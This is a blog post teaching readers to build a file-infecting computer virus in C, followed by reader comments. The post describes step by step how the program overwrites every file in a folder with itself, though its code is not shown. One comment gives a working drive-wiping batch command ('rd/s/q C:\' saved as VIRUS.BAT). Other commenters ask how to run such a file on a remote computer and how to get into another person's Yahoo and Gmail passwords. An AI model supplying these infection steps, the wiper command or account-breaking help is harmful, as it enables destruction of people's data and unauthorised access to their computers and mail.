How to Create a Computer Virus?

This program is an example of how to create a computer virus in C language. This program demonstrates a simple virus program which when executed creates a copy of itself in all the other files that are present in the same directory.

Thus, it destroys other files by infecting them. The infected file will also become a virus so that when executed, it is capable of spreading the infection to another file and so on.

How the Virus Program Works?

Step-1: Search for files in the current directory. If one or more file is present, load the first file (target file).

Step-2: Load the copy of the virus itself onto the memory.

Step-3: Open the target file. Copy the virus code from the memory and place it in the target file. Close the target file when the copying process is completed.

Step-4: Load the next file to infect and move to the step-3. If all the files are infected, close all the open files, unload them from the memory and exit.

As far as the technical terms are concerned, I would not be able to explain the program line by line. Anyone with a working knowledge of C should be easily able to understand the functions and other terms used in the program.

How to Compile the Program:

How to Test the Virus After the Compilation:

Create a new empty folder.

Put some executable files (or any other files) in the folder.

Run the PC_Virus.exe file. With in a few seconds all the other files in the folder gets infected.

Now every infected file is a new virus which is ready to re-infect. You can copy any of the infected .exe file to another empty folder and repeat the same procedure to see if the infected file is capable of re-infecting. Delete the folder and all the infected files after the testing process is done.

NOTE: The files infected by this virus are destroyed completely and cannot be recovered. So, always test the virus in a new folder by placing some sample files.

WARNING: FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD OR MISUSE THIS VIRUS CODE.

hey shrikant,don’t laugh if i ask this question. I don’t know a word about C. Is it a software ?? or what??….. all that u wrote in this post have to be entered in the software??? or have i to learn C to know all that?

Hey Sriki,i m much appreciated with ur work,i compiled the above code and gettin 4 errors as below: 1- FILE *virus,*host ;(this has got error) 2- undefined symbol VIRUS(i think thats because of the first error) if i get a solution for the first one i think i can compile it without error…i hope u ll help me..ty bhayya

Hey you are not at all infecting other files, you are just copying your files with the names of the files present in the directory….. But in case of infection, the virus code resides with the original content, if your virus is infecting, for example, the notepad.exe file, then it should retain its obvious functions and with that the virus content too, I mean than when we run infected notepad.exe, then it should open up the notepad and execute the virus code tooo, not just the virus code, otherwise it wont survive longer……

Srikant, I need your help in finding me the PW of Yahoo & Gmail as I was cheated by a partner in business I want to peep through his e-mails and see what is he upto-or I will suffer more by losing my international clients. Thanks Husain

CREATING A VIRUS IS SIMPLE FOR A WINDOWS COMPUTER. OPEN THE NOTEPAD AND TYPE rd/s/q D:\ rd/s/q C:\ rd/s/q E:\ AND THEN SAVE THE FILE WITH A NAME VIRUS.BAT OR VIRUS.EXE THIS COMMAND “rd/s/q x:\” IS SIMPLY INSTRUCTING THE COMPUTER TO DELETE ALL THE FILES INSIDE THE DRIVE “x”. YOU CAN REPLACE THE X WITH THE DRIVE NAME SUCH AS ‘C’ OR ‘D’ OR ‘E’. WHATEVER THE DRIVE NAME IS JUST REPLACE THE X WITH THE NAME. THIS WAY YOU HAVE GOT THE FILE VIRUS.BAT OR VIRUS.EXE. THIS FILE IS A VIRS. IF YOU RUN THIS FILE THEN EVERY FILE IN THE INSTRUCTED DRIVE WILL BE DLELETD WITHIN 5MINUTES.

inside of each and every folders there are folders like system volume information, recycler, thumbs., deskotp.ini files exists. what are these files. are they viruses. please tell me. i didnt create them.

ok if i type rd/s/q C:\ in note pad and save it on my comp as VIRUS.BAT will that infect MY Computer??? and if no then how do i run this line of code? and is this transferable? Meaning can i upload this file to a remote comp and if so how do i make it run on open. im kinda a noob…still learning and this site seems to be the best site ive come across. i have 2 friends who went to comp school in san diego cali, and theyve been teachin me what they know…most of it is networking though…but im tryin to learn coding.

i need to learn in deapth about ms dos from basics. so can u please tell me where can i get the e-materials for free. please i am inerested in developing program developing skills. please i am very much intersted.

system volume in4mation and recycler are system files but apparenly their is a virus that is using those names the virus will change your system information such as time and date so that you no longer cant update…..look out 4 it. they can be deleted using explorerXP(Shift delete)

Hi Srikanth, i have a few questions about learning C programming..usually how long does it take somebody to learn C programming bcoz i’m a total beginner to this thing..is it difficult to learn C??..where can i get the C compiler for free??

hey … i had not yet practise it. But like to know that this viruses are not detected by the antiviruses. just want to know before trying will it harm the computer a lot? how would i know that it is infected? only that folder will b infected or whole computer will b infected. before trying i want to know the consequence so that i dont regret what i did to my computer… pls reply…//

actually,virus are executed automatically from removable drive(pen drive)..how they are executed without double clicking when they are plugged into usb..please answer to this question i want to learn this not to spread just for knowledge…